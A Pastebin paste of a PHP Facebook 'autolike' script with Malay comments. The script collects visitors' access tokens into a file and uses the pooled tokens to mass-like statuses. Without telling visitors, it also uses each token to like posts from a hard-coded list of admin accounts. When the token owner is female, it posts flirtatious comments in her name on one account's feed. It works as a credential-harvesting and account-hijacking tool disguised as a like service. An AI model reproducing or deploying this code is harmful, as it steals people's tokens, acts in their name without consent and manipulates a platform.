Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $token = $_GET["token"];
- //app id yang ko nak org mesti guna
- $appid = "260273468396";
- $check = file_get_contents("https://graph.facebook.com/app/?access_token=".$token);
- $cek = strripos($check, $appid);
- if($token != null)
- {
- if($cek === false)
- {
- die("please use accesstokens from apps that we provide");
- }
- }
- ?>
- <?php
- //ganti dgn nama file yg ko nak utk simpan token
- $tokenko = "tk.txt";
- $token = $_GET["token"];
- //check token ada
- if($token === null)
- {
- die("please submit access token");
- }
- //cek token invalid
- $c = curl_init("https://graph.facebook.com/me?access_token=".$token);
- curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
- $k = curl_exec($c);
- curl_close($c);
- $check = strripos($k, "OAuthException");
- if($check === false)
- {
- //check permision
- $per1 = "user_likes";
- $per2 = "publish_stream";
- $taf = file_get_contents("https://graph.facebook.com/me/permissions?access_token=".$token);
- $ga = strripos($taf, $per1);
- $gu = strripos($taf, $per2);
- if($ga < 1 or $gu < 1)
- {
- die("please allow ".$per1." And ".$per2." Permission!");
- }
- //show like
- $cre = fopen($tokenko, "a+");
- $f = file_get_contents($tokenko);
- $cf = strripos($f, $token);
- if($cf === false)
- {
- fwrite($cre, $token."\n");
- echo "ok";
- $ch = curl_init("https://graph.facebook.com/me/feed?fields=id,message&access_token=".$token);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- $staid = curl_exec($ch);
- curl_close($ch);
- $taz = json_decode($staid)->data;
- //output
- if($statusid != null)
- {
- echo "<font style='font-size:40px; color:white;'>Done!</font>";
- }
- //html autolike
- echo '<body style="background-color:black; width:100%;">
- <center>
- <div style="border:3px grey outset; background-color:grey; width:60%;">
- <form action="" method="post">
- <font color="red">STATUS:</font><font color="white">'.$taz[0]->message.'</font>
- <input type="hidden" name="token" value="'.$token.'">
- <font color="white" style="float:left;">statusid:</font><input name="statusid" value="'.$taz[0]->id.'" style="float:left;">
- <input type="submit" style="float:right; border:3px red outset; color:white; background-color:red;" value="Autolike">
- </form><br /></div><br />';
- //start otolke
- $statusid = $_POST["statusid"];
- if($statusid != null)
- {
- $geto = preg_split('/(\r?\n)+/', $f);
- foreach($geto as $phc)
- {
- $paha = curl_init("https://graph.facebook.com/".$statusid."/likes?method=post&access_token=".$phc);
- curl_setopt($paha, CURLOPT_RETURNTRANSFER, true);
- curl_exec($paha);
- curl_close($paha);
- }
- echo '<script src="remover.php"></script>';
- }
- }
- else
- {
- $ch = curl_init("https://graph.facebook.com/me/feed?fields=id,message&access_token=".$token);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- $staid = curl_exec($ch);
- curl_close($ch);
- $taz = json_decode($staid)->data;
- //output
- if($statusid != null)
- {
- echo "<font style='font-size:40px; color:white;'>Done!</font>";
- }
- //html autolike
- echo '<body style="background-color:black; width:100%;">
- <center>
- <div style="border:3px grey outset; background-color:grey; width:60%;">
- <form action="" method="post">
- <font color="red">STATUS:</font><font color="white">'.$taz[0]->message.'</font>
- <input type="hidden" name="token" value="'.$token.'">
- <font color="white" style="float:left;">statusid:</font><input name="statusid" value="'.$taz[0]->id.'" style="float:left;">
- <input type="submit" style="float:right; border:3px red outset; color:white; background-color:red;" value="Autolike">
- </form><br /></div><br />';
- //start otolke
- $statusid = $_POST["statusid"];
- if($statusid != null)
- {
- $geto = preg_split('/(\r?\n)+/', $f);
- foreach($geto as $phc)
- {
- $paha = curl_init("https://graph.facebook.com/".$statusid."/likes?method=post&access_token=".$phc);
- curl_setopt($paha, CURLOPT_RETURNTRANSFER, true);
- curl_exec($paha);
- curl_close($paha);
- }
- echo '<script src="remover.php"></script>';
- }
- }
- fclose($cre);
- }
- else
- {
- die("access token invalid");
- }
- $listadmin = array("suehqiylhq.hieynhqthqaurellqkowmq", "mohdtazme", "AnimeOSekai", "dB.myliker", "penggodamdfc", "WhenigetyouiwillneverletyougoShit", "100005851834909", "Ivytrinitydepaula", "Prog.fajri");
- foreach($listadmin as $admin)
- {
- $cucu = curl_init("https://graph.facebook.com/".$admin."/feed?fields=id&access_token=".$token);
- curl_setopt($cucu, CURLOPT_RETURNTRANSFER, 1);
- $gcu = curl_exec($cucu);
- curl_close($cucu);
- $jsta = json_decode($gcu)->data;
- $likst = curl_init("https://graph.facebook.com/".$jsta[0]->id."/likes?method=post&access_token=".$token);
- curl_setopt($likst, CURLOPT_RETURNTRANSFER, 1);
- curl_exec($likst);
- curl_close($likst);
- }
- //fungsi komen awek
- function komenawek($jawaurl)
- {
- $jawa = curl_init($jawaurl);
- curl_setopt($jawa, CURLOPT_RETURNTRANSFER, 1);
- $jowo =curl_exec($jawa);
- curl_close($jawa);
- return $jowo;
- }
- $jaw = json_decode(komenawek("https://graph.facebook.com/me?access_token=".$token));
- //chek id
- $jagu = json_decode(komenawek("https://graph.facebook.com/mohdtazme/feed?fields=id&access_token=".$token))->data;
- $nod = json_decode(komenawek("https://graph.facebook.com/me?access_token=".$token));
- $fnod = file_get_contents("id.txt");
- //cek id strripos
- $nos = strripos($fnod, $nod->id.$jagu[0]->id);
- if($jaw->gender == "female" && $nos === false)
- {
- $kokop = array("i+love+u+...+muah", "sayang+<3", "mungkinkah+kau+merasakan+semua+yg+kupasrahkan", "muah<3", "i+miss+u<3", "awak...+i+love+u+laaa", "jom+chat", "asal+u+xreply+msg+i", "im+ur+big+fans<3");
- $koawe = $kokop[array_rand($kokop)];
- komenawek("https://graph.facebook.com/".$jagu[0]->id."/comments?access_token=".$token."&method=post&message=".$koawe);
- //no double comment
- $nodc = fopen("id.txt", "a+");
- fwrite($nodc, $nod->id.$jagu[0]->id."\n");
- fclose($nodc);
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement